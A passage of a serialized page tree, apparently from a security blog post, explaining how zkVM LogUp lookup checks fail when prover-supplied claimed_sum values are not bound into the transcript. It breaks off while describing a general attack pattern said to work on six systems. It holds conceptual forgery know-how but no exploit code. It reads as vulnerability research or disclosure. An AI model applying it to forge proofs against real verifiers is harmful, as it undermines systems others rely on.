063},{},[],{"type":21,"tag":153,"props":116065,"children":116067},{"className":116066,"style":6859},[6820],[],{"type":21,"tag":153,"props":116069,"children":116071},{"className":116070},[6742],[116072,116076,116169],{"type":21,"tag":153,"props":116073,"children":116075},{"className":116074},[24409,115862],[],{"type":21,"tag":153,"props":116077,"children":116079},{"className":116078},[115867],[116080],{"type":21,"tag":153,"props":116081,"children":116083},{"className":116082},[6762,24334],[116084,116158],{"type":21,"tag":153,"props":116085,"children":116087},{"className":116086},[6767],[116088,116153],{"type":21,"tag":153,"props":116089,"children":116091},{"className":116090,"style":115880},[6772],[116092,116122,116133],{"type":21,"tag":153,"props":116093,"children":116094},{"style":115884},[116095,116099],{"type":21,"tag":153,"props":116096,"children":116098},{"className":116097,"style":114515},[6781],[],{"type":21,"tag":153,"props":116100,"children":116102},{"className":116101},[6787,6788,6789,6790],[116103],{"type":21,"tag":153,"props":116104,"children":116106},{"className":116105},[6742,6790],[116107,116112,116117],{"type":21,"tag":153,"props":116108,"children":116110},{"className":116109,"style":115901},[6742,24280,6790],[116111],{"type":26,"value":115904},{"type":21,"tag":153,"props":116113,"children":116115},{"className":116114},[6826,6790],[116116],{"type":26,"value":6801},{"type":21,"tag":153,"props":116118,"children":116120},{"className":116119},[6742,24280,6790],[116121],{"type":26,"value":5972},{"type":21,"tag":153,"props":116123,"children":116124},{"style":115917},[116125,116129],{"type":21,"tag":153,"props":116126,"children":116128},{"className":116127,"style":114515},[6781],[],{"type":21,"tag":153,"props":116130,"children":116132},{"className":116131,"style":115927},[115926],[],{"type":21,"tag":153,"props":116134,"children":116135},{"style":115931},[116136,116140],{"type":21,"tag":153,"props":116137,"children":116139},{"className":116138,"style":114515},[6781],[],{"type":21,"tag":153,"props":116141,"children":116143},{"className":116142},[6787,6788,6789,6790],[116144],{"type":21,"tag":153,"props":116145,"children":116147},{"className":116146},[6742,6790],[116148],{"type":21,"tag":153,"props":116149,"children":116151},{"className":116150},[6742,6790],[116152],{"type":26,"value":3033},{"type":21,"tag":153,"props":116154,"children":116156},{"className":116155},[24437],[116157],{"type":26,"value":24440},{"type":21,"tag":153,"props":116159,"children":116161},{"className":116160},[6767],[116162],{"type":21,"tag":153,"props":116163,"children":116165},{"className":116164,"style":115962},[6772],[116166],{"type":21,"tag":153,"props":116167,"children":116168},{},[],{"type":21,"tag":153,"props":116170,"children":116172},{"className":116171},[24431,115862],[],{"type":21,"tag":22,"props":116174,"children":116175},{},[116176,116178,116203],{"type":26,"value":116177},"for random challenge ",{"type":21,"tag":78,"props":116179,"children":116181},{"className":116180},[6715,6716],[116182],{"type":21,"tag":153,"props":116183,"children":116185},{"className":116184},[6721],[116186],{"type":21,"tag":153,"props":116187,"children":116189},{"className":116188,"ariaHidden":3294},[6726],[116190],{"type":21,"tag":153,"props":116191,"children":116193},{"className":116192},[6731],[116194,116198],{"type":21,"tag":153,"props":116195,"children":116197},{"className":116196,"style":113185},[6736],[],{"type":21,"tag":153,"props":116199,"children":116201},{"className":116200,"style":115901},[6742,24280],[116202],{"type":26,"value":115904},{"type":26,"value":116204},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":21,"tag":22,"props":116206,"children":116207},{},[116208,116213],{"type":21,"tag":8055,"props":116209,"children":116210},{},[116211],{"type":26,"value":116212},"In zkVMs:",{"type":26,"value":116214}," Different components emit and consume lookup tuples:",{"type":21,"tag":87,"props":116216,"children":116217},{},[116218,116305],{"type":21,"tag":91,"props":116219,"children":116220},{},[116221,116223,116249,116251,116276,116278,116304],{"type":26,"value":116222},"CPU emits: \"I read value ",{"type":21,"tag":78,"props":116224,"children":116226},{"className":116225},[6715,6716],[116227],{"type":21,"tag":153,"props":116228,"children":116230},{"className":116229},[6721],[116231],{"type":21,"tag":153,"props":116232,"children":116234},{"className":116233,"ariaHidden":3294},[6726],[116235],{"type":21,"tag":153,"props":116236,"children":116238},{"className":116237},[6731],[116239,116243],{"type":21,"tag":153,"props":116240,"children":116242},{"className":116241,"style":113185},[6736],[],{"type":21,"tag":153,"props":116244,"children":116246},{"className":116245,"style":95830},[6742,24280],[116247],{"type":26,"value":116248},"v",{"type":26,"value":116250}," from address ",{"type":21,"tag":78,"props":116252,"children":116254},{"className":116253},[6715,6716],[116255],{"type":21,"tag":153,"props":116256,"children":116258},{"className":116257},[6721],[116259],{"type":21,"tag":153,"props":116260,"children":116262},{"className":116261,"ariaHidden":3294},[6726],[116263],{"type":21,"tag":153,"props":116264,"children":116266},{"className":116265},[6731],[116267,116271],{"type":21,"tag":153,"props":116268,"children":116270},{"className":116269,"style":113185},[6736],[],{"type":21,"tag":153,"props":116272,"children":116274},{"className":116273},[6742,24280],[116275],{"type":26,"value":29},{"type":26,"value":116277}," at time ",{"type":21,"tag":78,"props":116279,"children":116281},{"className":116280},[6715,6716],[116282],{"type":21,"tag":153,"props":116283,"children":116285},{"className":116284},[6721],[116286],{"type":21,"tag":153,"props":116287,"children":116289},{"className":116288,"ariaHidden":3294},[6726],[116290],{"type":21,"tag":153,"props":116291,"children":116293},{"className":116292},[6731],[116294,116299],{"type":21,"tag":153,"props":116295,"children":116298},{"className":116296,"style":116297},[6736],"height:0.6151em;",[],{"type":21,"tag":153,"props":116300,"children":116302},{"className":116301},[6742,24280],[116303],{"type":26,"value":24422},{"type":26,"value":22756},{"type":21,"tag":91,"props":116306,"children":116307},{},[116308,116310,116335,116337,116362,116364,116389],{"type":26,"value":116309},"Memory table consumes: \"At time ",{"type":21,"tag":78,"props":116311,"children":116313},{"className":116312},[6715,6716],[116314],{"type":21,"tag":153,"props":116315,"children":116317},{"className":116316},[6721],[116318],{"type":21,"tag":153,"props":116319,"children":116321},{"className":116320,"ariaHidden":3294},[6726],[116322],{"type":21,"tag":153,"props":116323,"children":116325},{"className":116324},[6731],[116326,116330],{"type":21,"tag":153,"props":116327,"children":116329},{"className":116328,"style":116297},[6736],[],{"type":21,"tag":153,"props":116331,"children":116333},{"className":116332},[6742,24280],[116334],{"type":26,"value":24422},{"type":26,"value":116336},", address ",{"type":21,"tag":78,"props":116338,"children":116340},{"className":116339},[6715,6716],[116341],{"type":21,"tag":153,"props":116342,"children":116344},{"className":116343},[6721],[116345],{"type":21,"tag":153,"props":116346,"children":116348},{"className":116347,"ariaHidden":3294},[6726],[116349],{"type":21,"tag":153,"props":116350,"children":116352},{"className":116351},[6731],[116353,116357],{"type":21,"tag":153,"props":116354,"children":116356},{"className":116355,"style":113185},[6736],[],{"type":21,"tag":153,"props":116358,"children":116360},{"className":116359},[6742,24280],[116361],{"type":26,"value":29},{"type":26,"value":116363}," contained ",{"type":21,"tag":78,"props":116365,"children":116367},{"className":116366},[6715,6716],[116368],{"type":21,"tag":153,"props":116369,"children":116371},{"className":116370},[6721],[116372],{"type":21,"tag":153,"props":116373,"children":116375},{"className":116374,"ariaHidden":3294},[6726],[116376],{"type":21,"tag":153,"props":116377,"children":116379},{"className":116378},[6731],[116380,116384],{"type":21,"tag":153,"props":116381,"children":116383},{"className":116382,"style":113185},[6736],[],{"type":21,"tag":153,"props":116385,"children":116387},{"className":116386,"style":95830},[6742,24280],[116388],{"type":26,"value":116248},{"type":26,"value":22756},{"type":21,"tag":22,"props":116391,"children":116392},{},[116393],{"type":26,"value":116394},"If everything balances, the execution is consistent.",{"type":21,"tag":22,"props":116396,"children":116397},{},[116398,116403],{"type":21,"tag":8055,"props":116399,"children":116400},{},[116401],{"type":26,"value":116402},"The claimed_sum:",{"type":26,"value":116404}," Each component computes its contribution to the LogUp sum:",{"type":21,"tag":22,"props":116406,"children":116407},{},[116408],{"type":21,"tag":78,"props":116409,"children":116411},{"className":116410},[6715,6716],[116412],{"type":21,"tag":153,"props":116413,"children":116415},{"className":116414},[6721],[116416],{"type":21,"tag":153,"props":116417,"children":116419},{"className":116418,"ariaHidden":3294},[6726],[116420,116518,116769],{"type":21,"tag":153,"props":116421,"children":116423},{"className":116422},[6731],[116424,116428,116438,116443,116505,116509,116514],{"type":21,"tag":153,"props":116425,"children":116427},{"className":116426,"style":96757},[6736],[],{"type":21,"tag":153,"props":116429,"children":116431},{"className":116430},[6742,26],[116432],{"type":21,"tag":153,"props":116433,"children":116435},{"className":116434},[6742],[116436],{"type":26,"value":116437},"claimed",{"type":21,"tag":153,"props":116439,"children":116441},{"className":116440,"style":95344},[6742],[116442],{"type":26,"value":5834},{"type":21,"tag":153,"props":116444,"children":116446},{"className":116445},[6742],[116447,116456],{"type":21,"tag":153,"props":116448,"children":116450},{"className":116449},[6742,26],[116451],{"type":21,"tag":153,"props":116452,"children":116454},{"className":116453},[6742],[116455],{"type":26,"value":78929},{"type":21,"tag":153,"props":116457,"children":116459},{"className":116458},[6757],[116460],{"type":21,"tag":153,"props":116461,"children":116463},{"className":116462},[6762,24334],[116464,116494],{"type":21,"tag":153,"props":116465,"children":116467},{"className":116466},[6767],[116468,116489],{"type":21,"tag":153,"props":116469,"children":116471},{"className":116470,"style":95873},[6772],[116472],{"type":21,"tag":153,"props":116473,"children":116475},{"style":116474},"top:-2.55em;margin-right:0.05em;",[116476,116480],{"type":21,"tag":153,"props":116477,"children":116479},{"className":116478,"style":6782},[6781],[],{"type":21,"tag":153,"props":116481,"children":116483},{"className":116482},[6787,6788,6789,6790],[116484],{"type":21,"tag":153,"props":116485,"children":116487},{"className":116486},[6742,24280,6790],[116488],{"type":26,"value":6471},{"type":21,"tag":153,"props":116490,"children":116492},{"className":116491},[24437],[116493],{"type":26,"value":24440},{"type":21,"tag":153,"props":116495,"children":116497},{"className":116496},[6767],[116498],{"type":21,"tag":153,"props":116499,"children":116501},{"className":116500,"style":95427},[6772],[116502],{"type":21,"tag":153,"props":116503,"children":116504},{},[],{"type":21,"tag":153,"props":116506,"children":116508},{"className":116507,"style":6918},[6820],[],{"type":21,"tag":153,"props":116510,"children":116512},{"className":116511},[6923],[116513],{"type":26,"value":2367},{"type":21,"tag":153,"props":116515,"children":116517},{"className":116516,"style":6918},[6820],[],{"type":21,"tag":153,"props":116519,"children":116521},{"className":116520},[6731],[116522,116527,116587,116591,116756,116760,116765],{"type":21,"tag":153,"props":116523,"children":116526},{"className":116524,"style":116525},[6736],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":21,"tag":153,"props":116528,"children":116530},{"className":116529},[24316],[116531,116536],{"type":21,"tag":153,"props":116532,"children":116534},{"className":116533,"style":24323},[24316,24321,24322],[116535],{"type":26,"value":111139},{"type":21,"tag":153,"props":116537,"children":116539},{"className":116538},[6757],[116540],{"type":21,"tag":153,"props":116541,"children":116543},{"className":116542},[6762,24334],[116544,116575],{"type":21,"tag":153,"props":116545,"children":116547},{"className":116546},[6767],[116548,116570],{"type":21,"tag":153,"props":116549,"children":116552},{"className":116550,"style":116551},[6772],"height:0.162em;",[116553],{"type":21,"tag":153,"props":116554,"children":116555},{"style":24347},[116556,116560],{"type":21,"tag":153,"props":116557,"children":116559},{"className":116558,"style":6782},[6781],[],{"type":21,"tag":153,"props":116561,"children":116563},{"className":116562},[6787,6788,6789,6790],[116564],{"type":21,"tag":153,"props":116565,"children":116568},{"className":116566,"style":116567},[6742,24280,6790],"margin-right:0.05724em;",[116569],{"type":26,"value":11382},{"type":21,"tag":153,"props":116571,"children":116573},{"className":116572},[24437],[116574],{"type":26,"value":24440},{"type":21,"tag":153,"props":116576,"children":116578},{"className":116577},[6767],[116579],{"type":21,"tag":153,"props":116580,"children":116583},{"className":116581,"style":116582},[6772],"height:0.4358em;",[116584],{"type":21,"tag":153,"props":116585,"children":116586},{},[],{"type":21,"tag":153,"props":116588,"children":116590},{"className":116589,"style":6859},[6820],[],{"type":21,"tag":153,"props":116592,"children":116594},{"className":116593},[6742],[116595,116599,116752],{"type":21,"tag":153,"props":116596,"children":116598},{"className":116597},[24409,115862],[],{"type":21,"tag":153,"props":116600,"children":116602},{"className":116601},[115867],[116603],{"type":21,"tag":153,"props":116604,"children":116606},{"className":116605},[6762,24334],[116607,116740],{"type":21,"tag":153,"props":116608,"children":116610},{"className":116609},[6767],[116611,116735],{"type":21,"tag":153,"props":116612,"children":116614},{"className":116613,"style":115880},[6772],[116615,116704,116715],{"type":21,"tag":153,"props":116616,"children":116617},{"style":115884},[116618,116622],{"type":21,"tag":153,"props":116619,"children":116621},{"className":116620,"style":114515},[6781],[],{"type":21,"tag":153,"props":116623,"children":116625},{"className":116624},[6787,6788,6789,6790],[116626],{"type":21,"tag":153,"props":116627,"children":116629},{"className":116628},[6742,6790],[116630,116635,116640],{"type":21,"tag":153,"props":116631,"children":116633},{"className":116632,"style":115901},[6742,24280,6790],[116634],{"type":26,"value":115904},{"type":21,"tag":153,"props":116636,"children":116638},{"className":116637},[6826,6790],[116639],{"type":26,"value":6801},{"type":21,"tag":153,"props":116641,"children":116643},{"className":116642},[6742,6790],[116644,116653],{"type":21,"tag":153,"props":116645,"children":116647},{"className":116646},[6742,26,6790],[116648],{"type":21,"tag":153,"props":116649,"children":116651},{"className":116650},[6742,6790],[116652],{"type":26,"value":64301},{"type":21,"tag":153,"props":116654,"children":116656},{"className":116655},[6757],[116657],{"type":21,"tag":153,"props":116658,"children":116660},{"className":116659},[6762,24334],[116661,116692],{"type":21,"tag":153,"props":116662,"children":116664},{"className":116663},[6767],[116665,116687],{"type":21,"tag":153,"props":116666,"children":116669},{"className":116667,"style":116668},[6772],"height:0.3281em;",[116670],{"type":21,"tag":153,"props":116671,"children":116673},{"style":116672},"top:-2.357em;margin-right:0.0714em;",[116674,116678],{"type":21,"tag":153,"props":116675,"children":116677},{"className":116676,"style":111204},[6781],[],{"type":21,"tag":153,"props":116679,"children":116681},{"className":116680},[6787,111209,111210,6790],[116682],{"type":21,"tag":153,"props":116683,"children":116685},{"className":116684,"style":116567},[6742,24280,6790],[116686],{"type":26,"value":11382},{"type":21,"tag":153,"props":116688,"children":116690},{"className":116689},[24437],[116691],{"type":26,"value":24440},{"type":21,"tag":153,"props":116693,"children":116695},{"className":116694},[6767],[116696],{"type":21,"tag":153,"props":116697,"children":116700},{"className":116698,"style":116699},[6772],"height:0.2819em;",[116701],{"type":21,"tag":153,"props":116702,"children":116703},{},[],{"type":21,"tag":153,"props":116705,"children":116706},{"style":115917},[116707,116711],{"type":21,"tag":153,"props":116708,"children":116710},{"className":116709,"style":114515},[6781],[],{"type":21,"tag":153,"props":116712,"children":116714},{"className":116713,"style":115927},[115926],[],{"type":21,"tag":153,"props":116716,"children":116717},{"style":115931},[116718,116722],{"type":21,"tag":153,"props":116719,"children":116721},{"className":116720,"style":114515},[6781],[],{"type":21,"tag":153,"props":116723,"children":116725},{"className":116724},[6787,6788,6789,6790],[116726],{"type":21,"tag":153,"props":116727,"children":116729},{"className":116728},[6742,6790],[116730],{"type":21,"tag":153,"props":116731,"children":116733},{"className":116732},[6742,6790],[116734],{"type":26,"value":3033},{"type":21,"tag":153,"props":116736,"children":116738},{"className":116737},[24437],[116739],{"type":26,"value":24440},{"type":21,"tag":153,"props":116741,"children":116743},{"className":116742},[6767],[116744],{"type":21,"tag":153,"props":116745,"children":116748},{"className":116746,"style":116747},[6772],"height:0.5423em;",[116749],{"type":21,"tag":153,"props":116750,"children":116751},{},[],{"type":21,"tag":153,"props":116753,"children":116755},{"className":116754},[24431,115862],[],{"type":21,"tag":153,"props":116757,"children":116759},{"className":116758,"style":6821},[6820],[],{"type":21,"tag":153,"props":116761,"children":116763},{"className":116762},[6826],[116764],{"type":26,"value":6801},{"type":21,"tag":153,"props":116766,"children":116768},{"className":116767,"style":6821},[6820],[],{"type":21,"tag":153,"props":116770,"children":116772},{"className":116771},[6731],[116773,116778,116836,116840],{"type":21,"tag":153,"props":116774,"children":116777},{"className":116775,"style":116776},[6736],"height:1.296em;vertical-align:-0.4509em;",[],{"type":21,"tag":153,"props":116779,"children":116781},{"className":116780},[24316],[116782,116787],{"type":21,"tag":153,"props":116783,"children":116785},{"className":116784,"style":24323},[24316,24321,24322],[116786],{"type":26,"value":111139},{"type":21,"tag":153,"props":116788,"children":116790},{"className":116789},[6757],[116791],{"type":21,"tag":153,"props":116792,"children":116794},{"className":116793},[6762,24334],[116795,116824],{"type":21,"tag":153,"props":116796,"children":116798},{"className":116797},[6767],[116799,116819],{"type":21,"tag":153,"props":116800,"children":116802},{"className":116801,"style":116016},[6772],[116803],{"type":21,"tag":153,"props":116804,"children":116805},{"style":24347},[116806,116810],{"type":21,"tag":153,"props":116807,"children":116809},{"className":116808,"style":6782},[6781],[],{"type":21,"tag":153,"props":116811,"children":116813},{"className":116812},[6787,6788,6789,6790],[116814],{"type":21,"tag":153,"props":116815,"children":116817},{"className":116816,"style":96773},[6742,24280,6790],[116818],{"type":26,"value":90981},{"type":21,"tag":153,"props":116820,"children":116822},{"className":116821},[24437],[116823],{"type":26,"value":24440},{"type":21,"tag":153,"props":116825,"children":116827},{"className":116826},[6767],[116828],{"type":21,"tag":153,"props":116829,"children":116832},{"className":116830,"style":116831},[6772],"height:0.2997em;",[116833],{"type":21,"tag":153,"props":116834,"children":116835},{},[],{"type":21,"tag":153,"props":116837,"children":116839},{"className":116838,"style":6859},[6820],[],{"type":21,"tag":153,"props":116841,"children":116843},{"className":116842},[6742],[116844,116848,117001],{"type":21,"tag":153,"props":116845,"children":116847},{"className":116846},[24409,115862],[],{"type":21,"tag":153,"props":116849,"children":116851},{"className":116850},[115867],[116852],{"type":21,"tag":153,"props":116853,"children":116855},{"className":116854},[6762,24334],[116856,116989],{"type":21,"tag":153,"props":116857,"children":116859},{"className":116858},[6767],[116860,116984],{"type":21,"tag":153,"props":116861,"children":116863},{"className":116862,"style":115880},[6772],[116864,116953,116964],{"type":21,"tag":153,"props":116865,"children":116866},{"style":115884},[116867,116871],{"type":21,"tag":153,"props":116868,"children":116870},{"className":116869,"style":114515},[6781],[],{"type":21,"tag":153,"props":116872,"children":116874},{"className":116873},[6787,6788,6789,6790],[116875],{"type":21,"tag":153,"props":116876,"children":116878},{"className":116877},[6742,6790],[116879,116884,116889],{"type":21,"tag":153,"props":116880,"children":116882},{"className":116881,"style":115901},[6742,24280,6790],[116883],{"type":26,"value":115904},{"type":21,"tag":153,"props":116885,"children":116887},{"className":116886},[6826,6790],[116888],{"type":26,"value":6801},{"type":21,"tag":153,"props":116890,"children":116892},{"className":116891},[6742,6790],[116893,116903],{"type":21,"tag":153,"props":116894,"children":116896},{"className":116895},[6742,26,6790],[116897],{"type":21,"tag":153,"props":116898,"children":116900},{"className":116899},[6742,6790],[116901],{"type":26,"value":116902},"consume",{"type":21,"tag":153,"props":116904,"children":116906},{"className":116905},[6757],[116907],{"type":21,"tag":153,"props":116908,"children":116910},{"className":116909},[6762,24334],[116911,116941],{"type":21,"tag":153,"props":116912,"children":116914},{"className":116913},[6767],[116915,116936],{"type":21,"tag":153,"props":116916,"children":116918},{"className":116917,"style":114676},[6772],[116919],{"type":21,"tag":153,"props":116920,"children":116922},{"style":116921},"top:-2.3488em;margin-right:0.0714em;",[116923,116927],{"type":21,"tag":153,"props":116924,"children":116926},{"className":116925,"style":111204},[6781],[],{"type":21,"tag":153,"props":116928,"children":116930},{"className":116929},[6787,111209,111210,6790],[116931],{"type":21,"tag":153,"props":116932,"children":116934},{"className":116933,"style":96773},[6742,24280,6790],[116935],{"type":26,"value":90981},{"type":21,"tag":153,"props":116937,"children":116939},{"className":116938},[24437],[116940],{"type":26,"value":24440},{"type":21,"tag":153,"props":116942,"children":116944},{"className":116943},[6767],[116945],{"type":21,"tag":153,"props":116946,"children":116949},{"className":116947,"style":116948},[6772],"height:0.1512em;",[116950],{"type":21,"tag":153,"props":116951,"children":116952},{},[],{"type":21,"tag":153,"props":116954,"children":116955},{"style":115917},[116956,116960],{"type":21,"tag":153,"props":116957,"children":116959},{"className":116958,"style":114515},[6781],[],{"type":21,"tag":153,"props":116961,"children":116963},{"className":116962,"style":115927},[115926],[],{"type":21,"tag":153,"props":116965,"children":116966},{"style":115931},[116967,116971],{"type":21,"tag":153,"props":116968,"children":116970},{"className":116969,"style":114515},[6781],[],{"type":21,"tag":153,"props":116972,"children":116974},{"className":116973},[6787,6788,6789,6790],[116975],{"type":21,"tag":153,"props":116976,"children":116978},{"className":116977},[6742,6790],[116979],{"type":21,"tag":153,"props":116980,"children":116982},{"className":116981},[6742,6790],[116983],{"type":26,"value":3033},{"type":21,"tag":153,"props":116985,"children":116987},{"className":116986},[24437],[116988],{"type":26,"value":24440},{"type":21,"tag":153,"props":116990,"children":116992},{"className":116991},[6767],[116993],{"type":21,"tag":153,"props":116994,"children":116997},{"className":116995,"style":116996},[6772],"height:0.4509em;",[116998],{"type":21,"tag":153,"props":116999,"children":117000},{},[],{"type":21,"tag":153,"props":117002,"children":117004},{"className":117003},[24431,115862],[],{"type":21,"tag":22,"props":117006,"children":117007},{},[117008,117010,117192],{"type":26,"value":117009},"The global check: ",{"type":21,"tag":78,"props":117011,"children":117013},{"className":117012},[6715,6716],[117014],{"type":21,"tag":153,"props":117015,"children":117017},{"className":117016},[6721],[117018],{"type":21,"tag":153,"props":117019,"children":117021},{"className":117020,"ariaHidden":3294},[6726],[117022,117179],{"type":21,"tag":153,"props":117023,"children":117025},{"className":117024},[6731],[117026,117030,117087,117091,117100,117105,117166,117170,117175],{"type":21,"tag":153,"props":117027,"children":117029},{"className":117028,"style":95286},[6736],[],{"type":21,"tag":153,"props":117031,"children":117033},{"className":117032},[24316],[117034,117039],{"type":21,"tag":153,"props":117035,"children":117037},{"className":117036,"style":24323},[24316,24321,24322],[117038],{"type":26,"value":111139},{"type":21,"tag":153,"props":117040,"children":117042},{"className":117041},[6757],[117043],{"type":21,"tag":153,"props":117044,"children":117046},{"className":117045},[6762,24334],[117047,117076],{"type":21,"tag":153,"props":117048,"children":117050},{"className":117049},[6767],[117051,117071],{"type":21,"tag":153,"props":117052,"children":117054},{"className":117053,"style":116551},[6772],[117055],{"type":21,"tag":153,"props":117056,"children":117057},{"style":24347},[117058,117062],{"type":21,"tag":153,"props":117059,"children":117061},{"className":117060,"style":6782},[6781],[],{"type":21,"tag":153,"props":117063,"children":117065},{"className":117064},[6787,6788,6789,6790],[117066],{"type":21,"tag":153,"props":117067,"children":117069},{"className":117068},[6742,24280,6790],[117070],{"type":26,"value":6471},{"type":21,"tag":153,"props":117072,"children":117074},{"className":117073},[24437],[117075],{"type":26,"value":24440},{"type":21,"tag":153,"props":117077,"children":117079},{"className":117078},[6767],[117080],{"type":21,"tag":153,"props":117081,"children":117083},{"className":117082,"style":116831},[6772],[117084],{"type":21,"tag":153,"props":117085,"children":117086},{},[],{"type":21,"tag":153,"props":117088,"children":117090},{"className":117089,"style":6859},[6820],[],{"type":21,"tag":153,"props":117092,"children":117094},{"className":117093},[6742,26],[117095],{"type":21,"tag":153,"props":117096,"children":117098},{"className":117097},[6742],[117099],{"type":26,"value":116437},{"type":21,"tag":153,"props":117101,"children":117103},{"className":117102,"style":95344},[6742],[117104],{"type":26,"value":5834},{"type":21,"tag":153,"props":117106,"children":117108},{"className":117107},[6742],[117109,117118],{"type":21,"tag":153,"props":117110,"children":117112},{"className":117111},[6742,26],[117113],{"type":21,"tag":153,"props":117114,"children":117116},{"className":117115},[6742],[117117],{"type":26,"value":78929},{"type":21,"tag":153,"props":117119,"children":117121},{"className":117120},[6757],[117122],{"type":21,"tag":153,"props":117123,"children":117125},{"className":117124},[6762,24334],[117126,117155],{"type":21,"tag":153,"props":117127,"children":117129},{"className":117128},[6767],[117130,117150],{"type":21,"tag":153,"props":117131,"children":117133},{"className":117132,"style":95873},[6772],[117134],{"type":21,"tag":153,"props":117135,"children":117136},{"style":116474},[117137,117141],{"type":21,"tag":153,"props":117138,"children":117140},{"className":117139,"style":6782},[6781],[],{"type":21,"tag":153,"props":117142,"children":117144},{"className":117143},[6787,6788,6789,6790],[117145],{"type":21,"tag":153,"props":117146,"children":117148},{"className":117147},[6742,24280,6790],[117149],{"type":26,"value":6471},{"type":21,"tag":153,"props":117151,"children":117153},{"className":117152},[24437],[117154],{"type":26,"value":24440},{"type":21,"tag":153,"props":117156,"children":117158},{"className":117157},[6767],[117159],{"type":21,"tag":153,"props":117160,"children":117162},{"className":117161,"style":95427},[6772],[117163],{"type":21,"tag":153,"props":117164,"children":117165},{},[],{"type":21,"tag":153,"props":117167,"children":117169},{"className":117168,"style":6918},[6820],[],{"type":21,"tag":153,"props":117171,"children":117173},{"className":117172},[6923],[117174],{"type":26,"value":2367},{"type":21,"tag":153,"props":117176,"children":117178},{"className":117177,"style":6918},[6820],[],{"type":21,"tag":153,"props":117180,"children":117182},{"className":117181},[6731],[117183,117187],{"type":21,"tag":153,"props":117184,"children":117186},{"className":117185,"style":96375},[6736],[],{"type":21,"tag":153,"props":117188,"children":117190},{"className":117189},[6742],[117191],{"type":26,"value":2996},{"type":26,"value":355},{"type":21,"tag":22,"props":117194,"children":117195},{},[117196,117201,117203,117209],{"type":21,"tag":8055,"props":117197,"children":117198},{},[117199],{"type":26,"value":117200},"Why this is vulnerable:",{"type":26,"value":117202}," The ",{"type":21,"tag":78,"props":117204,"children":117206},{"className":117205},[],[117207],{"type":26,"value":117208},"claimed_sum",{"type":26,"value":117210}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":21,"tag":21491,"props":117212,"children":117213},{},[],{"type":21,"tag":66,"props":117215,"children":117217},{"id":117216},"the-universal-attack-pattern",[117218],{"type":26,"value":117219},"The Universal Attack Pattern",{"type":21,"tag":22,"props":117221,"children":117222},{},[117223],{"type":26,"value":117224},"Now we can describe the attack pattern that works on all six systems:",{"type":21,"tag":22,"props":117226,"children":117227},{},[117228],{"type":21,"tag":3644,"props":117229,"children":117232},{"alt":117230,"src":117231},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":21,"tag":22,"props":117234,"children":117235},{},[117236,117238,117263],{"type":26,"value":117237},"When a value ",{"type":21,"tag":78,"props":117239,"children":117241},{"className":117240},[6715,6716],[117242],{"type":21,"tag":153,"props":117243,"children":117245},{"className":117244},[6721],[117246],{"type":21,"tag":153,"props":117247,"children":117249},{"className":117248,"ariaHidden":3294},[6726],[117250],{"type":21,"tag":153,"props":117251,"children":117253},{"className":117252},[6731],[117254,117258],{"type":21,"tag":153,"props":117255,"children":117257},{"className":117256,"style":24275},[6736],[],{"type":21,"tag":153,"props":117259,"children":117261},{"className":117260,"style":110542},[6742,24280],[117262],{"type":26,"value":110866},{"type":26,"value":117264}," isn't transcript-bound:",{"type":21,"tag":126,"props":117266,"children":117267},{},[117268,117299,117376,117521],{"type":21,"tag":91,"props":117269,"children":117270},{},[117271,117273,117298],{"type":26,"value":117272},"Challenges are fixed (independent of ",{"type":21,"tag":78,"props":117274,"children":117276},{"className":117275},[6715,6716],[117277],{"type":21,"tag":153,"props":117278,"children":117280},{"className":117279},[6721],[117281],{"type":21,"tag":153,"props":117282,"children":117284},{"className":117283,"ariaHidden":3294},[6726],[117285],{"type":21,"tag":153,"props":117286,"children":117288},{"className":117287},[6731],[117289,117293],{"type":21,"tag":153,"props":117290,"children":117292},{"className":117291,"style":24275},[6736],[],{"type":21,"tag":153,"props":117294,"children":117296},{"className":117295,"style":110542},[6742,24280],[117297],{"type":26,"value":110866},{"type":26,"value":2071},{"type":21,"tag":91,"props":117300,"children":117301},{},[117302,117304],{"type":26,"value":117303},"The verification equation has form: ",{"type":21,"tag":78,"props":117305,"children":117307},{"className":117306},[6715,6716],[117308],{"type":21,"tag":153,"props":117309,"children":117311},{"className":117310},[6721],[117312],{"type":21,"tag":153,"props":117313,"children":117315},{"className":117314,"ariaHidden":3294},[6726],[117316,117357],{"type":21,"tag":153,"props":117317,"children":117319},{"className":117318},[6731],[117320,117324,117329,117334,117339,117344,117348,117353],{"type":21,"tag":153,"props":117321,"children":117323},{"className":117322,"style":6841},[6736],[],{"type":21,"tag":153,"props":117325,"children":117327},{"className":117326,"style":97698},[6742,24280],[117328],{"type":26,"value":35778},{"type":21,"tag":153,"props":117330,"children":117332},{"className":117331},[24409],[117333],{"type":26,"value":189},{"type":21,"tag":153,"props":117335,"children":117337},{"className":117336,"style":110542},[6742,24280],[117338],{"type":26,"value":110866},{"type":21,"tag":153,"props":117340,"children":117342},{"className":117341},[24431],[117343],{"type":26,"value":2071},{"type":21,"tag":153,"props":117345,"children":117347},{"className":117346,"style":6918},[6820],[],{"type":21,"tag":153,"props":117349,"children":117351},{"className":117350},[6923],[117352],{"type":26,"value":2367},{"type":21,"tag":153,"props":117354,"children":117356},{"className":117355,"style":6918},[6820],[],{"type":21,"tag":153,"props":117358,"children":117360},{"className":117359},[6731],[117361,117366],{"type":21,"tag":153,"props":117362,"children":117365},{"className":117363,"style":117364},[6736],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":21,"tag":153,"props":117367,"children":117369},{"className":117368},[6742,26],[117370],{"type":21,"tag":153,"props":117371,"children":117373},{"className":117372},[6742],[117374],{"type":26,"value":117375},"target",{"type":21,"tag":91,"props":117377,"children":117378},{},[117379,117380,117406,117408],{"type":26,"value":133},{"type":21,"tag":78,"props":117381,"children":117383},{"className":117382},[6715,6716],[117384],{"type":21,"tag":153,"props":117385,"children":117387},{"className":117386},[6721],[117388],{"type":21,"tag":153,"props":117389,"children":117391},{"className":117390,"ariaHidden":3294},[6726],[117392],{"type":21,"tag":153,"props":117393,"children":117395},{"className":117394},[6731],[117396,117401],{"type":21,"tag":153,"props":117397,"children":117400},{"className":117398,"style":117399},[6736],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":21,"tag":153,"props":117402,"children":117404},{"className":117403,"style":97698},[6742,24280],[117405],{"type":26,"value":35778},{"type":26,"value":117407}," is linear: 